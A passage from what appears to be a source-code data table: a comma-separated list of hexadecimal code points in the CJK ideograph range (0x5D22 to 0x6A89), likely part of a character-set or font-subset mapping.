0x5D22, 0x5D23, 0x5D25, 0x5D28, 0x5D2A, 0x5D2B, 0x5D2C, 0x5D2F, 0x5D30,
0x5D31, 0x5D32, 0x5D33, 0x5D35, 0x5D36, 0x5D37, 0x5D38, 0x5D39, 0x5D3A,
0x5D3B, 0x5D3C, 0x5D3F, 0x5D40, 0x5D41, 0x5D42, 0x5D43, 0x5D44, 0x5D45,
0x5D46, 0x5D48, 0x5D49, 0x5D4D, 0x5D4E, 0x5D4F, 0x5D50, 0x5D51, 0x5D52,
0x5D53, 0x5D54, 0x5D55, 0x5D56, 0x5D57, 0x5D59, 0x5D5A, 0x5D5C, 0x5D5E,
0x5D5F, 0x5D60, 0x5D61, 0x5D62, 0x5D63, 0x5D64, 0x5D65, 0x5D66, 0x5D67,
0x5D68, 0x5D6A, 0x5D6D, 0x5D6E, 0x5D70, 0x5D71, 0x5D72, 0x5D73, 0x5D75,
0x5D76, 0x5D77, 0x5D78, 0x5D79, 0x5D7A, 0x5D7B, 0x5D7C, 0x5D7D, 0x5D7E,
0x5D7F, 0x5D80, 0x5D81, 0x5D83, 0x5D84, 0x5D85, 0x5D86, 0x5D87, 0x5D88,
0x5D89, 0x5D8A, 0x5D8B, 0x5D8C, 0x5D8D, 0x5D8E, 0x5D8F, 0x5D90, 0x5D91,
0x5D92, 0x5D93, 0x5D94, 0x5D95, 0x5D96, 0x5D97, 0x5D98, 0x5D9A, 0x5D9B,
0x5D9C, 0x5D9E, 0x5D9F, 0x5DA0, 0x5DA1, 0x5DA2, 0x5DA3, 0x5DA4, 0x5DA5,
0x5DA6, 0x5DA7, 0x5DA8, 0x5DA9, 0x5DAA, 0x5DAB, 0x5DAC, 0x5DAD, 0x5DAE,
0x5DAF, 0x5DB0, 0x5DB1, 0x5DB2, 0x5DB3, 0x5DB4, 0x5DB5, 0x5DB6, 0x5DB8,
0x5DB9, 0x5DBA, 0x5DBB, 0x5DBC, 0x5DBD, 0x5DBE, 0x5DBF, 0x5DC0, 0x5DC1,
0x5DC2, 0x5DC3, 0x5DC4, 0x5DC6, 0x5DC7, 0x5DC8, 0x5DC9, 0x5DCA, 0x5DCB,
0x5DCC, 0x5DCE, 0x5DCF, 0x5DD0, 0x5DD1, 0x5DD2, 0x5DD3, 0x5DD4, 0x5DD5,
0x5DD6, 0x5DD7, 0x5DD8, 0x5DD9, 0x5DDA, 0x5DDC, 0x5DDF, 0x5DE0, 0x5DE3,
0x5DE4, 0x5DEA, 0x5DEC, 0x5DED, 0x5DF0, 0x5DF5, 0x5DF6, 0x5DF8, 0x5DF9,
0x5DFA, 0x5DFB, 0x5DFC, 0x5DFF, 0x5E00, 0x5E04, 0x5E07, 0x5E09, 0x5E0A,
0x5E0B, 0x5E0D, 0x5E0E, 0x5E12, 0x5E13, 0x5E17, 0x5E1E, 0x5E1F, 0x5E20,
0x5E21, 0x5E22, 0x5E23, 0x5E24, 0x5E25, 0x5E28, 0x5E29, 0x5E2A, 0x5E2B,
0x5E2C, 0x5E2F, 0x5E30, 0x5E32, 0x5E33, 0x5E34, 0x5E35, 0x5E36, 0x5E39,
0x5E3A, 0x5E3E, 0x5E3F, 0x5E40, 0x5E41, 0x5E43, 0x5E46, 0x5E47, 0x5E48,
0x5E49, 0x5E4A, 0x5E4B, 0x5E4D, 0x5E4E, 0x5E4F, 0x5E50, 0x5E51, 0x5E52,
0x5E53, 0x5E56, 0x5E57, 0x5E58, 0x5E59, 0x5E5A, 0x5E5C, 0x5E5D, 0x5E5F,
0x5E60, 0x5E63, 0x5E64, 0x5E65, 0x5E66, 0x5E67, 0x5E68, 0x5E69, 0x5E6A,
0x5E6B, 0x5E6C, 0x5E6D, 0x5E6E, 0x5E6F, 0x5E70, 0x5E71, 0x5E75, 0x5E77,
0x5E79, 0x5E7E, 0x5E81, 0x5E82, 0x5E83, 0x5E85, 0x5E88, 0x5E89, 0x5E8C,
0x5E8D, 0x5E8E, 0x5E92, 0x5E98, 0x5E9B, 0x5E9D, 0x5EA1, 0x5EA2, 0x5EA3,
0x5EA4, 0x5EA8, 0x5EA9, 0x5EAA, 0x5EAB, 0x5EAC, 0x5EAE, 0x5EAF, 0x5EB0,
0x5EB1, 0x5EB2, 0x5EB4, 0x5EBA, 0x5EBB, 0x5EBC, 0x5EBD, 0x5EBF, 0x5EC0,
0x5EC1, 0x5EC2, 0x5EC3, 0x5EC4, 0x5EC5, 0x5EC6, 0x5EC7, 0x5EC8, 0x5ECB,
0x5ECC, 0x5ECD, 0x5ECE, 0x5ECF, 0x5ED0, 0x5ED4, 0x5ED5, 0x5ED7, 0x5ED8,
0x5ED9, 0x5EDA, 0x5EDC, 0x5EDD, 0x5EDE, 0x5EDF, 0x5EE0, 0x5EE1, 0x5EE2,
0x5EE3, 0x5EE4, 0x5EE5, 0x5EE6, 0x5EE7, 0x5EE9, 0x5EEB, 0x5EEC, 0x5EED,
0x5EEE, 0x5EEF, 0x5EF0, 0x5EF1, 0x5EF2, 0x5EF3, 0x5EF5, 0x5EF8, 0x5EF9,
0x5EFB, 0x5EFC, 0x5EFD, 0x5F05, 0x5F06, 0x5F07, 0x5F09, 0x5F0C, 0x5F0D,
0x5F0E, 0x5F10, 0x5F12, 0x5F14, 0x5F16, 0x5F19, 0x5F1A, 0x5F1C, 0x5F1D,
0x5F1E, 0x5F21, 0x5F22, 0x5F23, 0x5F24, 0x5F28, 0x5F2B, 0x5F2C, 0x5F2E,
0x5F30, 0x5F32, 0x5F33, 0x5F34, 0x5F35, 0x5F36, 0x5F37, 0x5F38, 0x5F3B,
0x5F3D, 0x5F3E, 0x5F3F, 0x5F41, 0x5F42, 0x5F43, 0x5F44, 0x5F45, 0x5F46,
0x5F47, 0x5F48, 0x5F49, 0x5F4A, 0x5F4B, 0x5F4C, 0x5F4D, 0x5F4E, 0x5F4F,
0x5F51, 0x5F54, 0x5F59, 0x5F5A, 0x5F5B, 0x5F5C, 0x5F5E, 0x5F5F, 0x5F60,
0x5F63, 0x5F65, 0x5F67, 0x5F68, 0x5F6B, 0x5F6E, 0x5F6F, 0x5F72, 0x5F74,
0x5F75, 0x5F76, 0x5F78, 0x5F7A, 0x5F7D, 0x5F7E, 0x5F7F, 0x5F83, 0x5F86,
0x5F8D, 0x5F8E, 0x5F8F, 0x5F91, 0x5F93, 0x5F94, 0x5F96, 0x5F9A, 0x5F9B,
0x5F9D, 0x5F9E, 0x5F9F, 0x5FA0, 0x5FA2, 0x5FA3, 0x5FA4, 0x5FA5, 0x5FA6,
0x5FA7, 0x5FA9, 0x5FAB, 0x5FAC, 0x5FAF, 0x5FB0, 0x5FB1, 0x5FB2, 0x5FB3,
0x5FB4, 0x5FB6, 0x5FB8, 0x5FB9, 0x5FBA, 0x5FBB, 0x5FBE, 0x5FBF, 0x5FC0,
0x5FC1, 0x5FC2, 0x5FC7, 0x5FC8, 0x5FCA, 0x5FCB, 0x5FCE, 0x5FD3, 0x5FD4,
0x5FD5, 0x5FDA, 0x5FDB, 0x5FDC, 0x5FDE, 0x5FDF, 0x5FE2, 0x5FE3, 0x5FE5,
0x5FE6, 0x5FE8, 0x5FE9, 0x5FEC, 0x5FEF, 0x5FF0, 0x5FF2, 0x5FF3, 0x5FF4,
0x5FF6, 0x5FF7, 0x5FF9, 0x5FFA, 0x5FFC, 0x6007, 0x6008, 0x6009, 0x600B,
0x600C, 0x6010, 0x6011, 0x6013, 0x6017, 0x6018, 0x601A, 0x601E, 0x601F,
0x6022, 0x6023, 0x6024, 0x602C, 0x602D, 0x602E, 0x6030, 0x6031, 0x6032,
0x6033, 0x6034, 0x6036, 0x6037, 0x6038, 0x6039, 0x603A, 0x603D, 0x603E,
0x6040, 0x6044, 0x6045, 0x6046, 0x6047, 0x6048, 0x6049, 0x604A, 0x604C,
0x604E, 0x604F, 0x6051, 0x6053, 0x6054, 0x6056, 0x6057, 0x6058, 0x605B,
0x605C, 0x605E, 0x605F, 0x6060, 0x6061, 0x6065, 0x6066, 0x606E, 0x6071,
0x6072, 0x6074, 0x6075, 0x6077, 0x607E, 0x6080, 0x6081, 0x6082, 0x6085,
0x6086, 0x6087, 0x6088, 0x608A, 0x608B, 0x608E, 0x608F, 0x6090, 0x6091,
0x6093, 0x6095, 0x6097, 0x6098, 0x6099, 0x609C, 0x609E, 0x60A1, 0x60A2,
0x60A4, 0x60A5, 0x60A7, 0x60A9, 0x60AA, 0x60AE, 0x60B0, 0x60B3, 0x60B5,
0x60B6, 0x60B7, 0x60B9, 0x60BA, 0x60BD, 0x60BE, 0x60BF, 0x60C0, 0x60C1,
0x60C2, 0x60C3, 0x60C4, 0x60C7, 0x60C8, 0x60C9, 0x60CC, 0x60CD, 0x60CE,
0x60CF, 0x60D0, 0x60D2, 0x60D3, 0x60D4, 0x60D6, 0x60D7, 0x60D9, 0x60DB,
0x60DE, 0x60E1, 0x60E2, 0x60E3, 0x60E4, 0x60E5, 0x60EA, 0x60F1, 0x60F2,
0x60F5, 0x60F7, 0x60F8, 0x60FB, 0x60FC, 0x60FD, 0x60FE, 0x60FF, 0x6102,
0x6103, 0x6104, 0x6105, 0x6107, 0x610A, 0x610B, 0x610C, 0x6110, 0x6111,
0x6112, 0x6113, 0x6114, 0x6116, 0x6117, 0x6118, 0x6119, 0x611B, 0x611C,
0x611D, 0x611E, 0x6121, 0x6122, 0x6125, 0x6128, 0x6129, 0x612A, 0x612C,
0x612D, 0x612E, 0x612F, 0x6130, 0x6131, 0x6132, 0x6133, 0x6134, 0x6135,
0x6136, 0x6137, 0x6138, 0x6139, 0x613A, 0x613B, 0x613C, 0x613D, 0x613E,
0x6140, 0x6141, 0x6142, 0x6143, 0x6144, 0x6145, 0x6146, 0x6147, 0x6149,
0x614B, 0x614D, 0x614F, 0x6150, 0x6152, 0x6153, 0x6154, 0x6156, 0x6157,
0x6158, 0x6159, 0x615A, 0x615B, 0x615C, 0x615E, 0x615F, 0x6160, 0x6161,
0x6163, 0x6164, 0x6165, 0x6166, 0x6169, 0x616A, 0x616B, 0x616C, 0x616D,
0x616E, 0x616F, 0x6171, 0x6172, 0x6173, 0x6174, 0x6176, 0x6178, 0x6179,
0x617A, 0x617B, 0x617C, 0x617D, 0x617E, 0x617F, 0x6180, 0x6181, 0x6182,
0x6183, 0x6184, 0x6185, 0x6186, 0x6187, 0x6188, 0x6189, 0x618A, 0x618C,
0x618D, 0x618F, 0x6190, 0x6191, 0x6192, 0x6193, 0x6195, 0x6196, 0x6197,
0x6198, 0x6199, 0x619A, 0x619B, 0x619C, 0x619E, 0x619F, 0x61A0, 0x61A1,
0x61A2, 0x61A3, 0x61A4, 0x61A5, 0x61A6, 0x61AA, 0x61AB, 0x61AD, 0x61AE,
0x61AF, 0x61B0, 0x61B1, 0x61B2, 0x61B3, 0x61B4, 0x61B5, 0x61B6, 0x61B8,
0x61B9, 0x61BA, 0x61BB, 0x61BC, 0x61BD, 0x61BF, 0x61C0, 0x61C1, 0x61C3,
0x61C4, 0x61C5, 0x61C6, 0x61C7, 0x61C9, 0x61CC, 0x61CD, 0x61CE, 0x61CF,
0x61D0, 0x61D3, 0x61D5, 0x61D6, 0x61D7, 0x61D8, 0x61D9, 0x61DA, 0x61DB,
0x61DC, 0x61DD, 0x61DE, 0x61DF, 0x61E0, 0x61E1, 0x61E2, 0x61E3, 0x61E4,
0x61E5, 0x61E7, 0x61E8, 0x61E9, 0x61EA, 0x61EB, 0x61EC, 0x61ED, 0x61EE,
0x61EF, 0x61F0, 0x61F1, 0x61F2, 0x61F3, 0x61F4, 0x61F6, 0x61F7, 0x61F8,
0x61F9, 0x61FA, 0x61FB, 0x61FC, 0x61FD, 0x61FE, 0x6200, 0x6201, 0x6202,
0x6203, 0x6204, 0x6205, 0x6207, 0x6209, 0x6213, 0x6214, 0x6219, 0x621C,
0x621D, 0x621E, 0x6220, 0x6223, 0x6226, 0x6227, 0x6228, 0x6229, 0x622B,
0x622D, 0x622F, 0x6230, 0x6231, 0x6232, 0x6235, 0x6236, 0x6238, 0x6239,
0x623A, 0x623B, 0x623C, 0x6242, 0x6244, 0x6245, 0x6246, 0x624A, 0x624F,
0x6250, 0x6255, 0x6256, 0x6257, 0x6259, 0x625A, 0x625C, 0x625D, 0x625E,
0x625F, 0x6260, 0x6261, 0x6262, 0x6264, 0x6265, 0x6268, 0x6271, 0x6272,
0x6274, 0x6275, 0x6277, 0x6278, 0x627A, 0x627B, 0x627D, 0x6281, 0x6282,
0x6283, 0x6285, 0x6286, 0x6287, 0x6288, 0x628B, 0x628C, 0x628D, 0x628E,
0x628F, 0x6290, 0x6294, 0x6299, 0x629C, 0x629D, 0x629E, 0x62A3, 0x62A6,
0x62A7, 0x62A9, 0x62AA, 0x62AD, 0x62AE, 0x62AF, 0x62B0, 0x62B2, 0x62B3,
0x62B4, 0x62B6, 0x62B7, 0x62B8, 0x62BA, 0x62BE, 0x62C0, 0x62C1, 0x62C3,
0x62CB, 0x62CF, 0x62D1, 0x62D5, 0x62DD, 0x62DE, 0x62E0, 0x62E1, 0x62E4,
0x62EA, 0x62EB, 0x62F0, 0x62F2, 0x62F5, 0x62F8, 0x62F9, 0x62FA, 0x62FB,
0x6300, 0x6303, 0x6304, 0x6305, 0x6306, 0x630A, 0x630B, 0x630C, 0x630D,
0x630F, 0x6310, 0x6312, 0x6313, 0x6314, 0x6315, 0x6317, 0x6318, 0x6319,
0x631C, 0x6326, 0x6327, 0x6329, 0x632C, 0x632D, 0x632E, 0x6330, 0x6331,
0x6333, 0x6334, 0x6335, 0x6336, 0x6337, 0x6338, 0x633B, 0x633C, 0x633E,
0x633F, 0x6340, 0x6341, 0x6344, 0x6347, 0x6348, 0x634A, 0x6351, 0x6352,
0x6353, 0x6354, 0x6356, 0x6357, 0x6358, 0x6359, 0x635A, 0x635B, 0x635C,
0x635D, 0x6360, 0x6364, 0x6365, 0x6366, 0x6368, 0x636A, 0x636B, 0x636C,
0x636F, 0x6370, 0x6372, 0x6373, 0x6374, 0x6375, 0x6378, 0x6379, 0x637C,
0x637D, 0x637E, 0x637F, 0x6381, 0x6383, 0x6384, 0x6385, 0x6386, 0x638B,
0x638D, 0x6391, 0x6393, 0x6394, 0x6395, 0x6397, 0x6399, 0x639A, 0x639B,
0x639C, 0x639D, 0x639E, 0x639F, 0x63A1, 0x63A4, 0x63A6, 0x63AB, 0x63AF,
0x63B1, 0x63B2, 0x63B5, 0x63B6, 0x63B9, 0x63BB, 0x63BD, 0x63BF, 0x63C0,
0x63C1, 0x63C2, 0x63C3, 0x63C5, 0x63C7, 0x63C8, 0x63CA, 0x63CB, 0x63CC,
0x63D1, 0x63D3, 0x63D4, 0x63D5, 0x63D7, 0x63D8, 0x63D9, 0x63DA, 0x63DB,
0x63DC, 0x63DD, 0x63DF, 0x63E2, 0x63E4, 0x63E5, 0x63E6, 0x63E7, 0x63E8,
0x63EB, 0x63EC, 0x63EE, 0x63EF, 0x63F0, 0x63F1, 0x63F3, 0x63F5, 0x63F7,
0x63F9, 0x63FA, 0x63FB, 0x63FC, 0x63FE, 0x6403, 0x6404, 0x6406, 0x6407,
0x6408, 0x6409, 0x640A, 0x640D, 0x640E, 0x6411, 0x6412, 0x6415, 0x6416,
0x6417, 0x6418, 0x6419, 0x641A, 0x641D, 0x641F, 0x6422, 0x6423, 0x6424,
0x6425, 0x6427, 0x6428, 0x6429, 0x642B, 0x642E, 0x642F, 0x6430, 0x6431,
0x6432, 0x6433, 0x6435, 0x6436, 0x6437, 0x6438, 0x6439, 0x643B, 0x643C,
0x643E, 0x6440, 0x6442, 0x6443, 0x6449, 0x644B, 0x644C, 0x644D, 0x644E,
0x644F, 0x6450, 0x6451, 0x6453, 0x6455, 0x6456, 0x6457, 0x6459, 0x645A,
0x645B, 0x645C, 0x645D, 0x645F, 0x6460, 0x6461, 0x6462, 0x6463, 0x6464,
0x6465, 0x6466, 0x6468, 0x646A, 0x646B, 0x646C, 0x646E, 0x646F, 0x6470,
0x6471, 0x6472, 0x6473, 0x6474, 0x6475, 0x6476, 0x6477, 0x647B, 0x647C,
0x647D, 0x647E, 0x647F, 0x6480, 0x6481, 0x6483, 0x6486, 0x6488, 0x6489,
0x648A, 0x648B, 0x648C, 0x648D, 0x648E, 0x648F, 0x6490, 0x6493, 0x6494,
0x6497, 0x6498, 0x649A, 0x649B, 0x649C, 0x649D, 0x649F, 0x64A0, 0x64A1,
0x64A2, 0x64A3, 0x64A5, 0x64A6, 0x64A7, 0x64A8, 0x64AA, 0x64AB, 0x64AF,
0x64B1, 0x64B2, 0x64B3, 0x64B4, 0x64B6, 0x64B9, 0x64BB, 0x64BD, 0x64BE,
0x64BF, 0x64C1, 0x64C3, 0x64C4, 0x64C6, 0x64C7, 0x64C8, 0x64C9, 0x64CA,
0x64CB, 0x64CC, 0x64CF, 0x64D1, 0x64D3, 0x64D4, 0x64D5, 0x64D6, 0x64D9,
0x64DA, 0x64DB, 0x64DC, 0x64DD, 0x64DF, 0x64E0, 0x64E1, 0x64E3, 0x64E5,
0x64E7, 0x64E8, 0x64E9, 0x64EA, 0x64EB, 0x64EC, 0x64ED, 0x64EE, 0x64EF,
0x64F0, 0x64F1, 0x64F2, 0x64F3, 0x64F4, 0x64F5, 0x64F6, 0x64F7, 0x64F8,
0x64F9, 0x64FA, 0x64FB, 0x64FC, 0x64FD, 0x64FE, 0x64FF, 0x6501, 0x6502,
0x6503, 0x6504, 0x6505, 0x6506, 0x6507, 0x6508, 0x650A, 0x650B, 0x650C,
0x650D, 0x650E, 0x650F, 0x6510, 0x6511, 0x6513, 0x6514, 0x6515, 0x6516,
0x6517, 0x6519, 0x651A, 0x651B, 0x651C, 0x651D, 0x651E, 0x651F, 0x6520,
0x6521, 0x6522, 0x6523, 0x6524, 0x6526, 0x6527, 0x6528, 0x6529, 0x652A,
0x652C, 0x652D, 0x6530, 0x6531, 0x6532, 0x6533, 0x6537, 0x653A, 0x653C,
0x653D, 0x6540, 0x6541, 0x6542, 0x6543, 0x6544, 0x6546, 0x6547, 0x654A,
0x654B, 0x654D, 0x654E, 0x6550, 0x6552, 0x6553, 0x6554, 0x6557, 0x6558,
0x655A, 0x655C, 0x655F, 0x6560, 0x6561, 0x6564, 0x6565, 0x6567, 0x6568,
0x6569, 0x656A, 0x656D, 0x656E, 0x656F, 0x6571, 0x6573, 0x6575, 0x6576,
0x6578, 0x6579, 0x657A, 0x657B, 0x657C, 0x657D, 0x657E, 0x657F, 0x6580,
0x6581, 0x6582, 0x6583, 0x6584, 0x6585, 0x6586, 0x6588, 0x6589, 0x658A,
0x658D, 0x658E, 0x658F, 0x6592, 0x6594, 0x6595, 0x6596, 0x6598, 0x659A,
0x659D, 0x659E, 0x65A0, 0x65A2, 0x65A3, 0x65A6, 0x65A8, 0x65AA, 0x65AC,
0x65AE, 0x65B1, 0x65B2, 0x65B3, 0x65B4, 0x65B5, 0x65B6, 0x65B7, 0x65B8,
0x65BA, 0x65BB, 0x65BE, 0x65BF, 0x65C0, 0x65C2, 0x65C7, 0x65C8, 0x65C9,
0x65CA, 0x65CD, 0x65D0, 0x65D1, 0x65D3, 0x65D4, 0x65D5, 0x65D8, 0x65D9,
0x65DA, 0x65DB, 0x65DC, 0x65DD, 0x65DE, 0x65DF, 0x65E1, 0x65E3, 0x65E4,
0x65EA, 0x65EB, 0x65F2, 0x65F3, 0x65F4, 0x65F5, 0x65F8, 0x65F9, 0x65FB,
0x65FC, 0x65FD, 0x65FE, 0x65FF, 0x6601, 0x6604, 0x6605, 0x6607, 0x6608,
0x6609, 0x660B, 0x660D, 0x6610, 0x6611, 0x6612, 0x6616, 0x6617, 0x6618,
0x661A, 0x661B, 0x661C, 0x661E, 0x6621, 0x6622, 0x6623, 0x6624, 0x6626,
0x6629, 0x662A, 0x662B, 0x662C, 0x662E, 0x6630, 0x6632, 0x6633, 0x6637,
0x6638, 0x6639, 0x663A, 0x663B, 0x663D, 0x663F, 0x6640, 0x6642, 0x6644,
0x6645, 0x6646, 0x6647, 0x6648, 0x6649, 0x664A, 0x664D, 0x664E, 0x6650,
0x6651, 0x6658, 0x6659, 0x665B, 0x665C, 0x665D, 0x665E, 0x6660, 0x6662,
0x6663, 0x6665, 0x6667, 0x6669, 0x666A, 0x666B, 0x666C, 0x666D, 0x6671,
0x6672, 0x6673, 0x6675, 0x6678, 0x6679, 0x667B, 0x667C, 0x667D, 0x667F,
0x6680, 0x6681, 0x6683, 0x6685, 0x6686, 0x6688, 0x6689, 0x668A, 0x668B,
0x668D, 0x668E, 0x668F, 0x6690, 0x6692, 0x6693, 0x6694, 0x6695, 0x6698,
0x6699, 0x669A, 0x669B, 0x669C, 0x669E, 0x669F, 0x66A0, 0x66A1, 0x66A2,
0x66A3, 0x66A4, 0x66A5, 0x66A6, 0x66A9, 0x66AA, 0x66AB, 0x66AC, 0x66AD,
0x66AF, 0x66B0, 0x66B1, 0x66B2, 0x66B3, 0x66B5, 0x66B6, 0x66B7, 0x66B8,
0x66BA, 0x66BB, 0x66BC, 0x66BD, 0x66BF, 0x66C0, 0x66C1, 0x66C2, 0x66C3,
0x66C4, 0x66C5, 0x66C6, 0x66C7, 0x66C8, 0x66C9, 0x66CA, 0x66CB, 0x66CC,
0x66CD, 0x66CE, 0x66CF, 0x66D0, 0x66D1, 0x66D2, 0x66D3, 0x66D4, 0x66D5,
0x66D6, 0x66D7, 0x66D8, 0x66DA, 0x66DE, 0x66DF, 0x66E0, 0x66E1, 0x66E2,
0x66E3, 0x66E4, 0x66E5, 0x66E7, 0x66E8, 0x66EA, 0x66EB, 0x66EC, 0x66ED,
0x66EE, 0x66EF, 0x66F1, 0x66F5, 0x66F6, 0x66F8, 0x66FA, 0x66FB, 0x66FD,
0x6701, 0x6702, 0x6703, 0x6704, 0x6705, 0x6706, 0x6707, 0x670C, 0x670E,
0x670F, 0x6711, 0x6712, 0x6713, 0x6716, 0x6718, 0x6719, 0x671A, 0x671C,
0x671E, 0x6720, 0x6721, 0x6722, 0x6723, 0x6724, 0x6725, 0x6727, 0x6729,
0x672E, 0x6730, 0x6732, 0x6733, 0x6736, 0x6737, 0x6738, 0x6739, 0x673B,
0x673C, 0x673E, 0x673F, 0x6741, 0x6744, 0x6745, 0x6747, 0x674A, 0x674B,
0x674D, 0x6752, 0x6754, 0x6755, 0x6757, 0x6758, 0x6759, 0x675A, 0x675B,
0x675D, 0x6762, 0x6763, 0x6764, 0x6766, 0x6767, 0x676B, 0x676C, 0x676E,
0x6771, 0x6774, 0x6776, 0x6778, 0x6779, 0x677A, 0x677B, 0x677D, 0x6780,
0x6782, 0x6783, 0x6785, 0x6786, 0x6788, 0x678A, 0x678C, 0x678D, 0x678E,
0x678F, 0x6791, 0x6792, 0x6793, 0x6794, 0x6796, 0x6799, 0x679B, 0x679F,
0x67A0, 0x67A1, 0x67A4, 0x67A6, 0x67A9, 0x67AC, 0x67AE, 0x67B1, 0x67B2,
0x67B4, 0x67B9, 0x67BA, 0x67BB, 0x67BC, 0x67BD, 0x67BE, 0x67BF, 0x67C0,
0x67C2, 0x67C5, 0x67C6, 0x67C7, 0x67C8, 0x67C9, 0x67CA, 0x67CB, 0x67CC,
0x67CD, 0x67CE, 0x67D5, 0x67D6, 0x67D7, 0x67DB, 0x67DF, 0x67E1, 0x67E3,
0x67E4, 0x67E6, 0x67E7, 0x67E8, 0x67EA, 0x67EB, 0x67ED, 0x67EE, 0x67F2,
0x67F5, 0x67F6, 0x67F7, 0x67F8, 0x67F9, 0x67FA, 0x67FB, 0x67FC, 0x67FE,
0x6801, 0x6802, 0x6803, 0x6804, 0x6806, 0x680D, 0x6810, 0x6812, 0x6814,
0x6815, 0x6818, 0x6819, 0x681A, 0x681B, 0x681C, 0x681E, 0x681F, 0x6820,
0x6822, 0x6823, 0x6824, 0x6825, 0x6826, 0x6827, 0x6828, 0x682B, 0x682C,
0x682D, 0x682E, 0x682F, 0x6830, 0x6831, 0x6834, 0x6835, 0x6836, 0x683A,
0x683B, 0x683F, 0x6847, 0x684B, 0x684D, 0x684F, 0x6852, 0x6856, 0x6857,
0x6858, 0x6859, 0x685A, 0x685B, 0x685C, 0x685D, 0x685E, 0x685F, 0x686A,
0x686C, 0x686D, 0x686E, 0x686F, 0x6870, 0x6871, 0x6872, 0x6873, 0x6875,
0x6878, 0x6879, 0x687A, 0x687B, 0x687C, 0x687D, 0x687E, 0x687F, 0x6880,
0x6882, 0x6884, 0x6887, 0x6888, 0x6889, 0x688A, 0x688B, 0x688C, 0x688D,
0x688E, 0x6890, 0x6891, 0x6892, 0x6894, 0x6895, 0x6896, 0x6898, 0x6899,
0x689A, 0x689B, 0x689C, 0x689D, 0x689E, 0x689F, 0x68A0, 0x68A1, 0x68A3,
0x68A4, 0x68A5, 0x68A9, 0x68AA, 0x68AB, 0x68AC, 0x68AE, 0x68B1, 0x68B2,
0x68B4, 0x68B6, 0x68B7, 0x68B8, 0x68B9, 0x68BA, 0x68BB, 0x68BC, 0x68BD,
0x68BE, 0x68BF, 0x68C1, 0x68C3, 0x68C4, 0x68C5, 0x68C6, 0x68C7, 0x68C8,
0x68CA, 0x68CC, 0x68CE, 0x68CF, 0x68D0, 0x68D1, 0x68D3, 0x68D4, 0x68D6,
0x68D7, 0x68D9, 0x68DB, 0x68DC, 0x68DD, 0x68DE, 0x68DF, 0x68E1, 0x68E2,
0x68E4, 0x68E5, 0x68E6, 0x68E7, 0x68E8, 0x68E9, 0x68EA, 0x68EB, 0x68EC,
0x68ED, 0x68EF, 0x68F2, 0x68F3, 0x68F4, 0x68F6, 0x68F7, 0x68F8, 0x68FB,
0x68FD, 0x68FE, 0x68FF, 0x6900, 0x6902, 0x6903, 0x6904, 0x6906, 0x6907,
0x6908, 0x6909, 0x690A, 0x690C, 0x690F, 0x6911, 0x6913, 0x6914, 0x6915,
0x6916, 0x6917, 0x6918, 0x6919, 0x691A, 0x691B, 0x691C, 0x691D, 0x691E,
0x6921, 0x6922, 0x6923, 0x6925, 0x6926, 0x6927, 0x6928, 0x6929, 0x692A,
0x692B, 0x692C, 0x692E, 0x692F, 0x6931, 0x6932, 0x6933, 0x6935, 0x6936,
0x6937, 0x6938, 0x693A, 0x693B, 0x693C, 0x693E, 0x6940, 0x6941, 0x6943,
0x6944, 0x6945, 0x6946, 0x6947, 0x6948, 0x6949, 0x694A, 0x694B, 0x694C,
0x694D, 0x694E, 0x694F, 0x6950, 0x6951, 0x6952, 0x6953, 0x6955, 0x6956,
0x6958, 0x6959, 0x695B, 0x695C, 0x695F, 0x6961, 0x6962, 0x6964, 0x6965,
0x6967, 0x6968, 0x6969, 0x696A, 0x696C, 0x696D, 0x696F, 0x6970, 0x6972,
0x6973, 0x6974, 0x6975, 0x6976, 0x697A, 0x697B, 0x697D, 0x697E, 0x697F,
0x6981, 0x6983, 0x6985, 0x698A, 0x698B, 0x698C, 0x698E, 0x698F, 0x6990,
0x6991, 0x6992, 0x6993, 0x6996, 0x6997, 0x6999, 0x699A, 0x699D, 0x699E,
0x699F, 0x69A0, 0x69A1, 0x69A2, 0x69A3, 0x69A4, 0x69A5, 0x69A6, 0x69A9,
0x69AA, 0x69AC, 0x69AE, 0x69AF, 0x69B0, 0x69B2, 0x69B3, 0x69B5, 0x69B6,
0x69B8, 0x69B9, 0x69BA, 0x69BC, 0x69BD, 0x69BE, 0x69BF, 0x69C0, 0x69C2,
0x69C3, 0x69C4, 0x69C5, 0x69C6, 0x69C7, 0x69C8, 0x69C9, 0x69CB, 0x69CD,
0x69CF, 0x69D1, 0x69D2, 0x69D3, 0x69D5, 0x69D6, 0x69D7, 0x69D8, 0x69D9,
0x69DA, 0x69DC, 0x69DD, 0x69DE, 0x69E1, 0x69E2, 0x69E3, 0x69E4, 0x69E5,
0x69E6, 0x69E7, 0x69E8, 0x69E9, 0x69EA, 0x69EB, 0x69EC, 0x69EE, 0x69EF,
0x69F0, 0x69F1, 0x69F3, 0x69F4, 0x69F5, 0x69F6, 0x69F7, 0x69F8, 0x69F9,
0x69FA, 0x69FB, 0x69FC, 0x69FE, 0x6A00, 0x6A01, 0x6A02, 0x6A03, 0x6A04,
0x6A05, 0x6A06, 0x6A07, 0x6A08, 0x6A09, 0x6A0B, 0x6A0C, 0x6A0D, 0x6A0E,
0x6A0F, 0x6A10, 0x6A11, 0x6A12, 0x6A13, 0x6A14, 0x6A15, 0x6A16, 0x6A19,
0x6A1A, 0x6A1B, 0x6A1C, 0x6A1D, 0x6A1E, 0x6A20, 0x6A22, 0x6A23, 0x6A24,
0x6A25, 0x6A26, 0x6A27, 0x6A29, 0x6A2B, 0x6A2C, 0x6A2D, 0x6A2E, 0x6A30,
0x6A32, 0x6A33, 0x6A34, 0x6A36, 0x6A37, 0x6A38, 0x6A39, 0x6A3A, 0x6A3B,
0x6A3C, 0x6A3F, 0x6A40, 0x6A41, 0x6A42, 0x6A43, 0x6A45, 0x6A46, 0x6A48,
0x6A49, 0x6A4A, 0x6A4B, 0x6A4C, 0x6A4D, 0x6A4E, 0x6A4F, 0x6A51, 0x6A52,
0x6A53, 0x6A54, 0x6A55, 0x6A56, 0x6A57, 0x6A5A, 0x6A5C, 0x6A5D, 0x6A5E,
0x6A5F, 0x6A60, 0x6A62, 0x6A63, 0x6A64, 0x6A66, 0x6A67, 0x6A68, 0x6A69,
0x6A6A, 0x6A6B, 0x6A6C, 0x6A6D, 0x6A6E, 0x6A6F, 0x6A70, 0x6A72, 0x6A73,
0x6A74, 0x6A75, 0x6A76, 0x6A77, 0x6A78, 0x6A7A, 0x6A7B, 0x6A7D, 0x6A7E,
0x6A7F, 0x6A81, 0x6A82, 0x6A83, 0x6A85, 0x6A86, 0x6A87, 0x6A88, 0x6A89,
